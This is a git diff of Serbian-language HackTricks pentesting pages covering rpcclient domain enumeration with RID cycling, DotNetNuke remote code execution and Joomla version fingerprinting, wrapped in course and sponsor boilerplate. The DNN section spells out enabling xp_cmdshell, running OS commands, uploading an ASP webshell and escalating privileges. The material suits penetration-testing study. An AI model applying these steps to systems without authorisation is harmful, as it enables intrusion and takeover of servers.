* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -20,31 +23,31 @@
|
|||
|
||||
***
|
||||
|
||||
### Pregled Relativnih Identifikatora (RID) i Sigurnosnih Identifikatora (SID)
|
||||
### Pregled relativnih identifikatora (RID) i sigurnosnih identifikatora (SID)
|
||||
|
||||
**Relativni Identifikatori (RID)** i **Sigurnosni Identifikatori (SID)** su ključni komponenti u Windows operativnim sistemima za jedinstveno identifikovanje i upravljanje objektima, kao što su korisnici i grupe, unutar mrežnog domena.
|
||||
**Relativni identifikatori (RID)** i **sigurnosni identifikatori (SID)** su ključne komponente u Windows operativnim sistemima za jedinstveno identifikovanje i upravljanje objektima, kao što su korisnici i grupe, unutar mrežnog domena.
|
||||
|
||||
- **SID-ovi** služe kao jedinstveni identifikatori za domene, osiguravajući da svaki domen bude razlikovljiv.
|
||||
- **RID-ovi** se dodaju SID-ovima kako bi se kreirali jedinstveni identifikatori za objekte unutar tih domena. Ova kombinacija omogućava precizno praćenje i upravljanje dozvolama objekata i kontrolama pristupa.
|
||||
- **SID-ovi** služe kao jedinstveni identifikatori za domene, osiguravajući da je svaki domen prepoznatljiv.
|
||||
- **RID-ovi** se dodaju SID-ovima kako bi se stvorili jedinstveni identifikatori za objekte unutar tih domena. Ova kombinacija omogućava precizno praćenje i upravljanje dozvolama objekata i kontrolama pristupa.
|
||||
|
||||
Na primer, korisnik po imenu `pepe` može imati jedinstveni identifikator koji kombinuje SID domena sa njegovim specifičnim RID-om, predstavljen u heksadecimalnom (`0x457`) i decimalnom (`1111`) formatu. To rezultira potpunim i jedinstvenim identifikatorom za pepe-a unutar domena kao što je: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
Na primer, korisnik po imenu `pepe` može imati jedinstveni identifikator koji kombinuje SID domena sa njegovim specifičnim RID-om, predstavljen u heksadecimalnom (`0x457`) i decimalnom (`1111`) formatu. Ovo rezultira potpunim i jedinstvenim identifikatorom za pepe unutar domena kao: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
|
||||
|
||||
### **Enumeracija sa rpcclient-om**
|
||||
### **Enumeracija sa rpcclient**
|
||||
|
||||
**`rpcclient`** alat iz Samba-e se koristi za interakciju sa **RPC endpointima putem imenovanih cevi**. Ispod su navedene komande koje se mogu izdati SAMR, LSARPC i LSARPC-DS interfejsima nakon što se uspostavi **SMB sesija**, često zahtevajući akreditive.
|
||||
**`rpcclient`** alat iz Sambe se koristi za interakciju sa **RPC krajnjim tačkama putem imenovanih cevi**. Ispod su komande koje se mogu izdati za SAMR, LSARPC i LSARPC-DS interfejse nakon što je **SMB sesija uspostavljena**, često zahtevajući akreditive.
|
||||
|
||||
#### Informacije o Serveru
|
||||
#### Informacije o serveru
|
||||
|
||||
* Za dobijanje **Informacija o Serveru**: koristi se komanda `srvinfo`.
|
||||
* Da biste dobili **Informacije o serveru**: koristi se komanda `srvinfo`.
|
||||
|
||||
#### Enumeracija Korisnika
|
||||
#### Enumeracija korisnika
|
||||
|
||||
* **Korisnici se mogu listati** korišćenjem: `querydispinfo` i `enumdomusers`.
|
||||
* **Detalji o korisniku** sa: `queryuser <0xrid>`.
|
||||
* **Korisnici se mogu nabrojati** koristeći: `querydispinfo` i `enumdomusers`.
|
||||
* **Detalji o korisniku** putem: `queryuser <0xrid>`.
|
||||
* **Grupe korisnika** sa: `queryusergroups <0xrid>`.
|
||||
* **SID korisnika se dobija** kroz: `lookupnames <korisničko_ime>`.
|
||||
* **Alijasi korisnika** sa: `queryuseraliases [builtin|domain] <sid>`.
|
||||
* **SID korisnika se dobija** putem: `lookupnames <username>`.
|
||||
* **Alias korisnika** putem: `queryuseraliases [builtin|domain] <sid>`.
|
||||
```bash
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
|
@ -53,53 +56,53 @@ done
|
|||
|
||||
# samrdump.py can also serve this purpose
|
||||
```
|
||||
#### Enumeracija grupa
|
||||
#### Enumeration of Groups
|
||||
|
||||
* **Grupe** pomoću: `enumdomgroups`.
|
||||
* **Detalji grupe** sa: `querygroup <0xrid>`.
|
||||
* **Grupe** po: `enumdomgroups`.
|
||||
* **Detalji o grupi** sa: `querygroup <0xrid>`.
|
||||
* **Članovi grupe** kroz: `querygroupmem <0xrid>`.
|
||||
|
||||
#### Enumeracija Alias grupa
|
||||
#### Enumeration of Alias Groups
|
||||
|
||||
* **Alias grupe** pomoću: `enumalsgroups <builtin|domain>`.
|
||||
* **Alias grupe** po: `enumalsgroups <builtin|domain>`.
|
||||
* **Članovi alias grupe** sa: `queryaliasmem builtin|domain <0xrid>`.
|
||||
|
||||
#### Enumeracija domena
|
||||
#### Enumeration of Domains
|
||||
|
||||
* **Domeni** korišćenjem: `enumdomains`.
|
||||
* **SID domena se dobija** kroz: `lsaquery`.
|
||||
* **Informacije o domenu se dobijaju** sa: `querydominfo`.
|
||||
* **Domeni** koristeći: `enumdomains`.
|
||||
* **SID domena se preuzima** kroz: `lsaquery`.
|
||||
* **Informacije o domenu se dobijaju** pomoću: `querydominfo`.
|
||||
|
||||
#### Enumeracija deljenja
|
||||
#### Enumeration of Shares
|
||||
|
||||
* **Sva dostupna deljenja** pomoću: `netshareenumall`.
|
||||
* **Informacije o određenom deljenju se dobijaju** sa: `netsharegetinfo <share>`.
|
||||
* **Sve dostupne deljene resurse** po: `netshareenumall`.
|
||||
* **Informacije o specifičnom deljenju se preuzimaju** sa: `netsharegetinfo <share>`.
|
||||
|
||||
#### Dodatne operacije sa SID-ovima
|
||||
#### Additional Operations with SIDs
|
||||
|
||||
* **SID-ovi po imenu** korišćenjem: `lookupnames <username>`.
|
||||
* **Više SID-ova** kroz: `lsaenumsid`.
|
||||
* **Provera više SID-ova kroz cikliranje RID-a** se vrši sa: `lookupsids <sid>`.
|
||||
* **SIDs po imenu** koristeći: `lookupnames <username>`.
|
||||
* **Više SIDs** kroz: `lsaenumsid`.
|
||||
* **RID cikliranje za proveru više SIDs** se vrši pomoću: `lookupsids <sid>`.
|
||||
|
||||
#### **Dodatne komande**
|
||||
#### **Extra commands**
|
||||
|
||||
| **Komanda** | **Interfejs** | **Opis** |
|
||||
| **Komanda** | **Interfejs** | **Opis** |
|
||||
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| queryuser | SAMR | Dobijanje informacija o korisniku |
|
||||
| querygroup | Dobijanje informacija o grupi | |
|
||||
| querydominfo | Dobijanje informacija o domenu | |
|
||||
| enumdomusers | Enumeracija korisnika domena | |
|
||||
| enumdomgroups | Enumeracija grupa domena | |
|
||||
| createdomuser | Kreiranje korisnika domena | |
|
||||
| deletedomuser | Brisanje korisnika domena | |
|
||||
| lookupnames | LSARPC | Pretraga korisničkih imena za SID vrednosti[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
|
||||
| lookupsids | Pretraga SID-ova za korisničkim imenima (cikliranje RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||
| lsaaddacctrights | Dodavanje prava korisničkom nalogu | |
|
||||
| lsaremoveacctrights | Uklanjanje prava sa korisničkog naloga | |
|
||||
| dsroledominfo | LSARPC-DS | Dobijanje osnovnih informacija o domenu |
|
||||
| dsenumdomtrusts | Enumeracija poverenih domena unutar AD šume | |
|
||||
| queryuser | SAMR | Preuzmi informacije o korisniku |
|
||||
| querygroup | Preuzmi informacije o grupi | |
|
||||
| querydominfo | Preuzmi informacije o domenu | |
|
||||
| enumdomusers | Enumeriraj korisnike domena | |
|
||||
| enumdomgroups | Enumeriraj grupe domena | |
|
||||
| createdomuser | Kreiraj korisnika domena | |
|
||||
| deletedomuser | Obriši korisnika domena | |
|
||||
| lookupnames | LSARPC | Pronađi korisnička imena do SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) vrednosti |
|
||||
| lookupsids | Pronađi SIDs do korisničkih imena (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) cikliranje) | |
|
||||
| lsaaddacctrights | Dodaj prava korisničkom nalogu | |
|
||||
| lsaremoveacctrights | Ukloni prava sa korisničkog naloga | |
|
||||
| dsroledominfo | LSARPC-DS | Dobij primarne informacije o domenu |
|
||||
| dsenumdomtrusts | Enumeriraj poverene domene unutar AD šume | |
|
||||
|
||||
Za **bolje razumevanje** kako alati _**samrdump**_ **i** _**rpcdump**_ funkcionišu, trebalo bi da pročitate [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
Da biste **bolje razumeli** kako alati _**samrdump**_ **i** _**rpcdump**_ funkcionišu, trebali biste pročitati [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -107,14 +110,17 @@ Za **bolje razumevanje** kako alati _**samrdump**_ **i** _**rpcdump**_ funkcioni
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podrška HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite vašu **kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,39 @@
|
|||
# Firebase baza podataka
|
||||
# Firebase Database
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Šta je Firebase
|
||||
|
||||
Firebase je Backend-as-a-Service platforma uglavnom namenjena mobilnim aplikacijama. Fokusirana je na uklanjanje potrebe za programiranjem back-end-a pružajući korisnu SDK, kao i mnoge druge interesantne stvari koje olakšavaju interakciju između aplikacije i back-end-a.
|
||||
Firebase je Backend-as-a-Service, prvenstveno za mobilne aplikacije. Fokusira se na uklanjanje tereta programiranja back-end-a pružajući lep SDK, kao i mnoge druge zanimljive stvari koje olakšavaju interakciju između aplikacije i back-end-a.
|
||||
|
||||
Saznajte više o Firebase-u na:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,29 @@
|
|||
# DotNetNuke (DNN)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## DotNetNuke (DNN)
|
||||
|
||||
Ako se prijavite kao **administrator** u DNN-u, lako je dobiti RCE.
|
||||
Ako se prijavite kao **administrator** u DNN, lako je dobiti RCE.
|
||||
|
||||
## RCE
|
||||
|
||||
### Putem SQL-a
|
||||
|
||||
SQL konzola je dostupna na stranici **`Settings`** gde možete omogućiti **`xp_cmdshell`** i **izvršavati komande operativnog sistema**.
|
||||
SQL konzola je dostupna na stranici **`Settings`** gde možete omogućiti **`xp_cmdshell`** i **izvršiti komande operativnog sistema**.
|
||||
|
||||
Koristite ove linije da omogućite **`xp_cmdshell`**:
|
||||
```sql
|
||||
|
@ -29,32 +32,35 @@ RECONFIGURE
|
|||
EXEC sp_configure 'xp_cmdshell', '1'
|
||||
RECONFIGURE
|
||||
```
|
||||
I pritisnite **"Pokreni skript"** da biste pokrenuli te SQL naredbe.
|
||||
I pritisnite **"Run Script"** da pokrenete te sQL rečenice.
|
||||
|
||||
Zatim, koristite nešto poput sledećeg da biste pokrenuli OS komande:
|
||||
Zatim, koristite nešto poput sledećeg da pokrenete OS komande:
|
||||
```sql
|
||||
xp_cmdshell 'whoami'
|
||||
```
|
||||
### Putem ASP webshell-a
|
||||
### Via ASP webshell
|
||||
|
||||
U `Podešavanja -> Bezbednost -> Više -> Više postavki bezbednosti` možete **dodati nove dozvoljene ekstenzije** pod `Dozvoljene ekstenzije datoteka` i zatim kliknuti dugme `Sačuvaj`.
|
||||
U `Settings -> Security -> More -> More Security Settings` možete **dodati nove dozvoljene ekstenzije** pod `Allowable File Extensions`, a zatim kliknite na dugme `Save`.
|
||||
|
||||
Dodajte **`asp`** ili **`aspx`** i zatim u **`/admin/file-management`** otpremite **asp webshell** nazvan `shell.asp` na primer.
|
||||
Dodajte **`asp`** ili **`aspx`** i zatim u **`/admin/file-management`** otpremite **asp webshell** nazvan `shell.asp`, na primer.
|
||||
|
||||
Zatim pristupite **`/Portals/0/shell.asp`** da biste pristupili svojoj webshell-u.
|
||||
Zatim pristupite **`/Portals/0/shell.asp`** da biste pristupili svom webshell-u.
|
||||
|
||||
### Eskalacija privilegija
|
||||
### Privilege Escalation
|
||||
|
||||
Možete **povećati privilegije** koristeći na primer **Potatoes** ili **PrintSpoofer**. 
|
||||
Možete **povećati privilegije** koristeći **Potatoes** ili **PrintSpoofer**, na primer. 
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# Joomla
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova u [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Joomla Statistika
|
||||
### Joomla Statistics
|
||||
|
||||
Joomla prikuplja neke anonimne [statistike korišćenja](https://developer.joomla.org/about/stats.html) kao što su raspodela verzija Joomla, PHP i baza podataka i operativnih sistema servera koji se koriste na Joomla instalacijama. Ovi podaci mogu biti upitani putem njihovog javnog [API-ja](https://developer.joomla.org/about/stats/api.html).
|
||||
Joomla prikuplja neke anonimne [statistike korišćenja](https://developer.joomla.org/about/stats.html) kao što su raspodela verzija Joomla, PHP i baza podataka, kao i operativni sistemi servera koji se koriste na Joomla instalacijama. Ovi podaci se mogu pretraživati putem njihovog javnog [API](https://developer.joomla.org/about/stats/api.html).
|
||||
```bash
|
||||
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
||||
|
||||
|
@ -42,9 +45,9 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
|||
}
|
||||
}
|
||||
```
|
||||
## Enumeracija
|
||||
## Enumeration
|
||||
|
||||
### Otkrivanje/Pratilac
|
||||
### Discovery/Footprinting
|
||||
|
||||
* Proverite **meta**
|
||||
```bash
|
||||
|
@ -73,23 +76,28 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
|
|||
### Verzija
|
||||
|
||||
* U **/administrator/manifests/files/joomla.xml** možete videti verziju.
|
||||
* U **/language/en-GB/en-GB.xml** možete dobiti verziju Joomla.
|
||||
* U **/language/en-GB/en-GB.xml** možete dobiti verziju Joomle.
|
||||
* U **plugins/system/cache/cache.xml** možete videti približnu verziju.
|
||||
|
||||
### Automatski
|
||||
```bash
|
||||
droopescan scan joomla --url http://joomla-site.local/
|
||||
```
|
||||
### API Neautentifikovano Otkrivanje Informacija:
|
||||
In[ **80,443 - Pentesting Web Methodology je sekcija o CMS skenerima**](./#cms-scanners) koji mogu skenirati Joomla.
|
||||
|
||||
|
||||
### API Neautentifikovana Otkrivanje Informacija:
|
||||
